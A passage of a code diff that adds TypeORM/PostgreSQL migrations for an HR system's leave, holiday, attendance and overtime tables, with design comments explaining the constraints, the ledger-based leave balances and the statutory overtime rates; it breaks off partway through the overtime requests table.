"is_active" boolean NOT NULL DEFAULT true,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_leave_types_accrual_method"
|
||||
CHECK ("accrual_method" IN ('NONE','ANNUAL_ENTITLEMENT','MONTHLY_ACCRUAL')),
|
||||
CONSTRAINT "ck_leave_types_gender"
|
||||
CHECK ("gender_restriction" IN ('ANY','MALE','FEMALE')),
|
||||
CONSTRAINT "ck_leave_types_base_days" CHECK ("base_days_per_year" >= 0),
|
||||
CONSTRAINT "ck_leave_types_extra_days" CHECK ("extra_days_per_period" >= 0),
|
||||
CONSTRAINT "ck_leave_types_carry_over" CHECK ("max_carry_over_days" >= 0),
|
||||
CONSTRAINT "ck_leave_types_min_service" CHECK ("min_service_months" >= 0),
|
||||
-- An accrual that grows with service needs a period to grow over;
|
||||
-- "+1 day every 0 years" would divide by zero at entitlement time.
|
||||
CONSTRAINT "ck_leave_types_service_period"
|
||||
CHECK ("extra_days_per_period" = 0 OR "service_period_years" > 0)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_types_org_code"
|
||||
ON "hr"."leave_types" ("organization_id", "code") WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_leave_types_organization_id"
|
||||
ON "hr"."leave_types" ("organization_id")
|
||||
`);
|
||||
|
||||
// ── holidays ──────────────────────────────────────────────────────────
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."holidays" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid,
|
||||
"observed_on" date NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"holiday_type" varchar(16) NOT NULL DEFAULT 'PUBLIC',
|
||||
"is_estimated" boolean NOT NULL DEFAULT false,
|
||||
"is_working_day" boolean NOT NULL DEFAULT false,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_holidays_type"
|
||||
CHECK ("holiday_type" IN ('PUBLIC','RELIGIOUS','ORGANIZATION'))
|
||||
)
|
||||
`);
|
||||
// organization_id is nullable — NULL means "national, applies to everyone".
|
||||
// COALESCE keeps the unique index working across that NULL, which a plain
|
||||
// multi-column unique index would not (NULLs never collide).
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_holidays_scope_date"
|
||||
ON "hr"."holidays" (
|
||||
COALESCE("organization_id", '00000000-0000-0000-0000-000000000000'::uuid),
|
||||
"observed_on"
|
||||
) WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_holidays_observed_on"
|
||||
ON "hr"."holidays" ("observed_on")
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."holidays"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_types"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_settings"`);
|
||||
}
|
||||
}
|
||||
124
apps/edr-hr-api/src/migrations/3600000000005-HrLeaveBalances.ts
Normal file
124
apps/edr-hr-api/src/migrations/3600000000005-HrLeaveBalances.ts
Normal file
@@ -0,0 +1,124 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Leave balances — Module 3.2, slice 2.
|
||||
*
|
||||
* A balance is NOT a column that gets incremented. It is the sum of an
|
||||
* append-only ledger, because the question people actually ask is never "how
|
||||
* many days are left" on its own — it is "why is it that number", asked months
|
||||
* later, usually in a dispute. A mutable counter cannot answer that, and a
|
||||
* counter plus a separate audit log drifts the first time a write half-fails.
|
||||
*
|
||||
* Two tables:
|
||||
*
|
||||
* - `leave_entitlements` — one row per employee, per leave type, per leave
|
||||
* year. The envelope: which year, what was granted, what carried in. Balance
|
||||
* is not stored on it.
|
||||
* - `leave_ledger_entries` — every movement, immutable. Grants, carry-over,
|
||||
* deductions, expiry, adjustments and reversals are all entries; nothing is
|
||||
* ever updated or deleted, and a mistake is corrected by posting the
|
||||
* opposite entry so the record of the mistake survives.
|
||||
*
|
||||
* `days` is signed: positive adds, negative removes. Summing the column IS the
|
||||
* balance, which means no code path can produce a balance that disagrees with
|
||||
* its own history.
|
||||
*/
|
||||
export class HrLeaveBalances3600000000005 implements MigrationInterface {
|
||||
name = "HrLeaveBalances3600000000005";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."leave_entitlements" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"leave_type_id" uuid NOT NULL,
|
||||
"leave_year_start" date NOT NULL,
|
||||
"leave_year_end" date NOT NULL,
|
||||
"entitled_days" numeric(7,2) NOT NULL DEFAULT 0,
|
||||
"carried_over_days" numeric(7,2) NOT NULL DEFAULT 0,
|
||||
"carry_over_expires_on" date,
|
||||
"service_years_at_grant" numeric(5,2) NOT NULL DEFAULT 0,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_leave_entitlements_type"
|
||||
FOREIGN KEY ("leave_type_id") REFERENCES "hr"."leave_types" ("id"),
|
||||
CONSTRAINT "ck_leave_entitlements_year"
|
||||
CHECK ("leave_year_end" > "leave_year_start"),
|
||||
CONSTRAINT "ck_leave_entitlements_days"
|
||||
CHECK ("entitled_days" >= 0 AND "carried_over_days" >= 0)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_entitlements_employee_type_year"
|
||||
ON "hr"."leave_entitlements"
|
||||
("employee_id", "leave_type_id", "leave_year_start")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_leave_entitlements_employee"
|
||||
ON "hr"."leave_entitlements" ("employee_id")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."leave_ledger_entries" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"entitlement_id" uuid NOT NULL,
|
||||
"entry_type" varchar(16) NOT NULL,
|
||||
"days" numeric(7,2) NOT NULL,
|
||||
"effective_on" date NOT NULL,
|
||||
"reason" varchar(256),
|
||||
"source_type" varchar(24),
|
||||
"source_id" uuid,
|
||||
"reverses_id" uuid,
|
||||
"created_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
CONSTRAINT "fk_leave_ledger_entitlement"
|
||||
FOREIGN KEY ("entitlement_id")
|
||||
REFERENCES "hr"."leave_entitlements" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "fk_leave_ledger_reverses"
|
||||
FOREIGN KEY ("reverses_id")
|
||||
REFERENCES "hr"."leave_ledger_entries" ("id"),
|
||||
CONSTRAINT "ck_leave_ledger_entry_type"
|
||||
CHECK ("entry_type" IN
|
||||
('GRANT','CARRY_OVER','DEDUCTION','EXPIRY','ADJUSTMENT','REVERSAL')),
|
||||
-- Sign is fixed by type so a "deduction" can never quietly add days.
|
||||
CONSTRAINT "ck_leave_ledger_sign" CHECK (
|
||||
("entry_type" IN ('GRANT','CARRY_OVER') AND "days" > 0) OR
|
||||
("entry_type" IN ('DEDUCTION','EXPIRY') AND "days" < 0) OR
|
||||
("entry_type" IN ('ADJUSTMENT','REVERSAL'))
|
||||
),
|
||||
-- A reversal exists only to undo one specific entry.
|
||||
CONSTRAINT "ck_leave_ledger_reversal_target" CHECK (
|
||||
("entry_type" = 'REVERSAL' AND "reverses_id" IS NOT NULL) OR
|
||||
("entry_type" <> 'REVERSAL' AND "reverses_id" IS NULL)
|
||||
)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_leave_ledger_entitlement"
|
||||
ON "hr"."leave_ledger_entries" ("entitlement_id")
|
||||
`);
|
||||
// Looking up "was this request already deducted?" when a request is
|
||||
// cancelled or amended.
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_leave_ledger_source"
|
||||
ON "hr"."leave_ledger_entries" ("source_type", "source_id")
|
||||
WHERE "source_id" IS NOT NULL
|
||||
`);
|
||||
// One reversal per entry: reversing twice would credit the days back twice.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_ledger_one_reversal"
|
||||
ON "hr"."leave_ledger_entries" ("reverses_id")
|
||||
WHERE "reverses_id" IS NOT NULL
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_ledger_entries"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_entitlements"`);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Leave requests — Module 3.2, slice 3.
|
||||
*
|
||||
* The request is a document with a state machine; the ledger remains the only
|
||||
* place days move. An approval writes both in one transaction, so a request can
|
||||
* never be approved without its deduction (leave taken and not counted) nor
|
||||
* deducted without being approved (days lost to nothing).
|
||||
*
|
||||
* `working_days` and `calendar_days` are BOTH stored, computed at submission
|
||||
* against the working week and holiday calendar as they stood that day. They are
|
||||
* not recomputed on read: an employer who moves from a six-day to a five-day
|
||||
* week must not silently rewrite the length of every absence already taken.
|
||||
*
|
||||
* `decided_by_employee_id` is a soft reference to `iam.employees`, like the rest
|
||||
* of this schema.
|
||||
*/
|
||||
export class HrLeaveRequests3600000000006 implements MigrationInterface {
|
||||
name = "HrLeaveRequests3600000000006";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."leave_requests" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"leave_type_id" uuid NOT NULL,
|
||||
"status" varchar(16) NOT NULL DEFAULT 'SUBMITTED',
|
||||
"start_date" date NOT NULL,
|
||||
"end_date" date NOT NULL,
|
||||
"is_half_day" boolean NOT NULL DEFAULT false,
|
||||
"working_days" numeric(7,2) NOT NULL,
|
||||
"calendar_days" numeric(7,2) NOT NULL,
|
||||
"charged_days" numeric(7,2) NOT NULL,
|
||||
"reason" varchar(512),
|
||||
"contact_during_leave" varchar(64),
|
||||
"attachment_document_id" uuid,
|
||||
"approver_employee_id" uuid,
|
||||
"decided_by_employee_id" uuid,
|
||||
"decided_at" timestamptz,
|
||||
"decision_note" varchar(512),
|
||||
"cancelled_reason" varchar(512),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_leave_requests_type"
|
||||
FOREIGN KEY ("leave_type_id") REFERENCES "hr"."leave_types" ("id"),
|
||||
CONSTRAINT "ck_leave_requests_status"
|
||||
CHECK ("status" IN
|
||||
('DRAFT','SUBMITTED','APPROVED','REJECTED','CANCELLED','WITHDRAWN')),
|
||||
CONSTRAINT "ck_leave_requests_dates" CHECK ("end_date" >= "start_date"),
|
||||
CONSTRAINT "ck_leave_requests_days"
|
||||
CHECK ("working_days" >= 0 AND "calendar_days" >= 0 AND "charged_days" >= 0),
|
||||
-- A half day is a single date by definition.
|
||||
CONSTRAINT "ck_leave_requests_half_day"
|
||||
CHECK ("is_half_day" = false OR "start_date" = "end_date"),
|
||||
-- A decided request must say who decided it and when.
|
||||
CONSTRAINT "ck_leave_requests_decision" CHECK (
|
||||
"status" NOT IN ('APPROVED','REJECTED')
|
||||
OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL)
|
||||
)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_leave_requests_employee"
|
||||
ON "hr"."leave_requests" ("employee_id", "start_date")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_leave_requests_approver"
|
||||
ON "hr"."leave_requests" ("approver_employee_id")
|
||||
WHERE "status" = 'SUBMITTED'
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_leave_requests_org_status"
|
||||
ON "hr"."leave_requests" ("organization_id", "status")
|
||||
`);
|
||||
// Overlap detection reads by employee across a date range; a GiST exclusion
|
||||
// constraint was considered and rejected — a rejected or cancelled request
|
||||
// may legitimately overlap a later approved one, and the predicate for
|
||||
// "only the live ones" is not expressible in an exclusion constraint
|
||||
// without a partial index over a range type this schema does not otherwise
|
||||
// use. The check lives in the service, which also has to explain itself.
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_leave_requests_live_range"
|
||||
ON "hr"."leave_requests" ("employee_id", "start_date", "end_date")
|
||||
WHERE "status" IN ('SUBMITTED','APPROVED') AND "deleted_at" IS NULL
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_requests"`);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Attendance foundation — Module 3.3, slice 1.
|
||||
*
|
||||
* - `work_schedules` shift patterns: when the day starts, how long
|
||||
* the break is, how late is late.
|
||||
* - `work_schedule_assignments` who is on which pattern, with effective dates,
|
||||
* so a shift change does not rewrite the
|
||||
* attendance already recorded under the old one.
|
||||
* - `attendance_records` one row per employee per date. `work_date` is
|
||||
* a DATE, not a timestamp: a night shift that
|
||||
* ends at 02:00 belongs to the day it started,
|
||||
* and keying on a timestamp would file it under
|
||||
* the wrong day and double-count the boundary.
|
||||
*
|
||||
* Every timing rule (grace period, hours for a full day) is a column, following
|
||||
* the same principle as leave: the numbers are an employer's policy, not the
|
||||
* developer's.
|
||||
*
|
||||
* Times are stored as `time` and `timestamptz` deliberately. The clock time a
|
||||
* shift starts is a wall-clock fact with no date and no zone; a punch is an
|
||||
* instant and needs both.
|
||||
*/
|
||||
export class HrAttendanceFoundation3600000000007 implements MigrationInterface {
|
||||
name = "HrAttendanceFoundation3600000000007";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."work_schedules" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"start_time" time NOT NULL DEFAULT '08:30',
|
||||
"end_time" time NOT NULL DEFAULT '17:30',
|
||||
"break_minutes" smallint NOT NULL DEFAULT 60,
|
||||
"grace_period_minutes" smallint NOT NULL DEFAULT 10,
|
||||
"working_days" smallint[],
|
||||
"min_minutes_full_day" smallint NOT NULL DEFAULT 420,
|
||||
"min_minutes_half_day" smallint NOT NULL DEFAULT 210,
|
||||
"crosses_midnight" boolean NOT NULL DEFAULT false,
|
||||
"is_default" boolean NOT NULL DEFAULT false,
|
||||
"is_active" boolean NOT NULL DEFAULT true,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_work_schedules_break"
|
||||
CHECK ("break_minutes" >= 0 AND "break_minutes" < 1440),
|
||||
CONSTRAINT "ck_work_schedules_grace"
|
||||
CHECK ("grace_period_minutes" >= 0 AND "grace_period_minutes" <= 240),
|
||||
CONSTRAINT "ck_work_schedules_thresholds"
|
||||
CHECK ("min_minutes_half_day" >= 0
|
||||
AND "min_minutes_full_day" >= "min_minutes_half_day"),
|
||||
-- A shift that ends at or before it starts must say it crosses midnight,
|
||||
-- or its duration computes as zero or negative.
|
||||
CONSTRAINT "ck_work_schedules_span"
|
||||
CHECK ("crosses_midnight" = true OR "end_time" > "start_time")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_work_schedules_org_code"
|
||||
ON "hr"."work_schedules" ("organization_id", "code")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
// At most one default per organization — two would make "which applies?"
|
||||
// depend on row order.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_work_schedules_one_default"
|
||||
ON "hr"."work_schedules" ("organization_id")
|
||||
WHERE "is_default" = true AND "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."work_schedule_assignments" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"work_schedule_id" uuid NOT NULL,
|
||||
"effective_from" date NOT NULL,
|
||||
"effective_to" date,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_schedule_assignments_schedule"
|
||||
FOREIGN KEY ("work_schedule_id")
|
||||
REFERENCES "hr"."work_schedules" ("id"),
|
||||
CONSTRAINT "ck_schedule_assignments_range"
|
||||
CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_schedule_assignments_employee"
|
||||
ON "hr"."work_schedule_assignments" ("employee_id", "effective_from")
|
||||
`);
|
||||
// One open-ended assignment per employee: two would make "current schedule"
|
||||
// ambiguous, which is the thing this table exists to answer.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_schedule_assignments_open"
|
||||
ON "hr"."work_schedule_assignments" ("employee_id")
|
||||
WHERE "effective_to" IS NULL AND "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."attendance_records" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"work_date" date NOT NULL,
|
||||
"work_schedule_id" uuid,
|
||||
"check_in" timestamptz,
|
||||
"check_out" timestamptz,
|
||||
"status" varchar(16) NOT NULL DEFAULT 'ABSENT',
|
||||
"worked_minutes" integer NOT NULL DEFAULT 0,
|
||||
"late_minutes" integer NOT NULL DEFAULT 0,
|
||||
"early_leave_minutes" integer NOT NULL DEFAULT 0,
|
||||
"source" varchar(16) NOT NULL DEFAULT 'WEB',
|
||||
"leave_request_id" uuid,
|
||||
"notes" varchar(512),
|
||||
"is_regularized" boolean NOT NULL DEFAULT false,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_attendance_schedule"
|
||||
FOREIGN KEY ("work_schedule_id") REFERENCES "hr"."work_schedules" ("id"),
|
||||
CONSTRAINT "fk_attendance_leave_request"
|
||||
FOREIGN KEY ("leave_request_id") REFERENCES "hr"."leave_requests" ("id"),
|
||||
CONSTRAINT "ck_attendance_status"
|
||||
CHECK ("status" IN
|
||||
('PRESENT','LATE','ABSENT','HALF_DAY','ON_LEAVE','HOLIDAY','REST_DAY')),
|
||||
CONSTRAINT "ck_attendance_source"
|
||||
CHECK ("source" IN ('WEB','MOBILE','BIOMETRIC','MANUAL','IMPORT','SYSTEM')),
|
||||
CONSTRAINT "ck_attendance_minutes"
|
||||
CHECK ("worked_minutes" >= 0 AND "late_minutes" >= 0
|
||||
AND "early_leave_minutes" >= 0),
|
||||
-- Cannot leave before arriving.
|
||||
CONSTRAINT "ck_attendance_punch_order"
|
||||
CHECK ("check_out" IS NULL OR "check_in" IS NULL
|
||||
OR "check_out" >= "check_in"),
|
||||
-- ON_LEAVE must point at the leave that explains it, so an absence can
|
||||
-- never be excused by a leave request nobody can find.
|
||||
CONSTRAINT "ck_attendance_leave_link"
|
||||
CHECK ("status" <> 'ON_LEAVE' OR "leave_request_id" IS NOT NULL)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_attendance_employee_date"
|
||||
ON "hr"."attendance_records" ("employee_id", "work_date")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_attendance_org_date"
|
||||
ON "hr"."attendance_records" ("organization_id", "work_date")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_attendance_status"
|
||||
ON "hr"."attendance_records" ("work_date", "status")
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."attendance_records"`);
|
||||
await queryRunner.query(
|
||||
`DROP TABLE IF EXISTS "hr"."work_schedule_assignments"`,
|
||||
);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."work_schedules"`);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Regularization and overtime — Module 3.3, slice 2.
|
||||
*
|
||||
* - `attendance_regularizations` a request to correct a punch that was missed
|
||||
* or wrong. The correction is applied only on
|
||||
* approval, and the original values are kept on
|
||||
* the row, so "what did it say before?" is
|
||||
* answerable without an audit table.
|
||||
* - `overtime_rates` the multipliers, per organization. Data, not
|
||||
* constants: Proclamation 1156/2019 Art. 68
|
||||
* sets 1.5× ordinary, 1.75× night, 2× on the
|
||||
* weekly rest day and 2.5× on a public holiday,
|
||||
* and an employer may pay more but not less.
|
||||
* - `overtime_requests` hours claimed, with the category and the
|
||||
* multiplier FROZEN at approval — a rate change
|
||||
* next year must not silently reprice work
|
||||
* already done and already paid.
|
||||
*
|
||||
* Art. 67 caps overtime at two hours a day; that limit is a column on the rate
|
||||
* table rather than a constant, for the same reason.
|
||||
*/
|
||||
export class HrAttendanceOvertime3600000000008 implements MigrationInterface {
|
||||
name = "HrAttendanceOvertime3600000000008";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."attendance_regularizations" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"attendance_record_id" uuid,
|
||||
"work_date" date NOT NULL,
|
||||
"requested_check_in" timestamptz,
|
||||
"requested_check_out" timestamptz,
|
||||
"original_check_in" timestamptz,
|
||||
"original_check_out" timestamptz,
|
||||
"original_status" varchar(16),
|
||||
"reason" varchar(512) NOT NULL,
|
||||
"status" varchar(16) NOT NULL DEFAULT 'SUBMITTED',
|
||||
"approver_employee_id" uuid,
|
||||
"decided_by_employee_id" uuid,
|
||||
"decided_at" timestamptz,
|
||||
"decision_note" varchar(512),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_regularizations_record"
|
||||
FOREIGN KEY ("attendance_record_id")
|
||||
REFERENCES "hr"."attendance_records" ("id"),
|
||||
CONSTRAINT "ck_regularizations_status"
|
||||
CHECK ("status" IN ('SUBMITTED','APPROVED','REJECTED','WITHDRAWN')),
|
||||
CONSTRAINT "ck_regularizations_punch_order"
|
||||
CHECK ("requested_check_out" IS NULL OR "requested_check_in" IS NULL
|
||||
OR "requested_check_out" >= "requested_check_in"),
|
||||
-- A correction that corrects nothing is not a correction.
|
||||
CONSTRAINT "ck_regularizations_something"
|
||||
CHECK ("requested_check_in" IS NOT NULL
|
||||
OR "requested_check_out" IS NOT NULL),
|
||||
CONSTRAINT "ck_regularizations_decision" CHECK (
|
||||
"status" NOT IN ('APPROVED','REJECTED')
|
||||
OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL)
|
||||
)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_regularizations_employee"
|
||||
ON "hr"."attendance_regularizations" ("employee_id", "work_date")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_regularizations_approver"
|
||||
ON "hr"."attendance_regularizations" ("approver_employee_id")
|
||||
WHERE "status" = 'SUBMITTED'
|
||||
`);
|
||||
// One open request per day: two competing corrections for the same date
|
||||
// would make "which one did we apply?" depend on approval order.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_regularizations_open_per_day"
|
||||
ON "hr"."attendance_regularizations" ("employee_id", "work_date")
|
||||
WHERE "status" = 'SUBMITTED' AND "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."overtime_rates" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"category" varchar(24) NOT NULL,
|
||||
"multiplier" numeric(5,2) NOT NULL,
|
||||
"max_hours_per_day" numeric(5,2),
|
||||
"statute_reference" varchar(64),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_overtime_rates_category"
|
||||
CHECK ("category" IN ('DAY','NIGHT','REST_DAY','PUBLIC_HOLIDAY')),
|
||||
-- Below 1.0 the "overtime" would pay less than ordinary time.
|
||||
CONSTRAINT "ck_overtime_rates_multiplier"
|
||||
CHECK ("multiplier" >= 1.00 AND "multiplier" <= 10.00),
|
||||
CONSTRAINT "ck_overtime_rates_max_hours"
|
||||
CHECK ("max_hours_per_day" IS NULL OR "max_hours_per_day" > 0)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_overtime_rates_org_category"
|
||||
ON "hr"."overtime_rates" ("organization_id", "category")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."overtime_requests" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"work_date" date NOT NULL,
|
||||
"started_at" timestamptz NOT NULL,
|
||||
"ended_at" timestamptz NOT NULL,
|
||||
"hours" numeric(6,2) NOT NULL,
|
||||
"category" varchar(24) NOT NULL,
|
||||
"multiplier" numeric(5,2) NOT NULL,
|
||||
"status" varchar(16) NOT NULL DEFAULT 'SUBMITTED',
|
||||
"reason" varchar(512),
|
||||
"approver_employee_id" uuid,
|
||||
"decided_by_employee_id" uuid,
|
||||
"decided_at" timestamptz,
|
||||
"decision_note" varchar(512),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_overtime_requests_category"
|
||||
CHECK ("category" IN ('DAY','NIGHT','REST_DAY','PUBLIC_HOLIDAY')),
|
||||
CONSTRAINT "ck_overtime_requests_status"
|
||||
CHECK ("status" IN ('SUBMITTED','APPROVED','REJECTED','WITHDRAWN')),
|
||||
CONSTRAINT "ck_overtime_requests_span" CHECK ("ended_at" > "started_at"),
|
||||
CONSTRAINT "ck_overtime_requests_hours"
|
||||
CHECK ("hours" > 0 AND "hours" <= 24),
|
||||
CONSTRAINT "ck_overtime_requests_multiplier" CHECK ("multiplier" >= 1.00),
|
||||
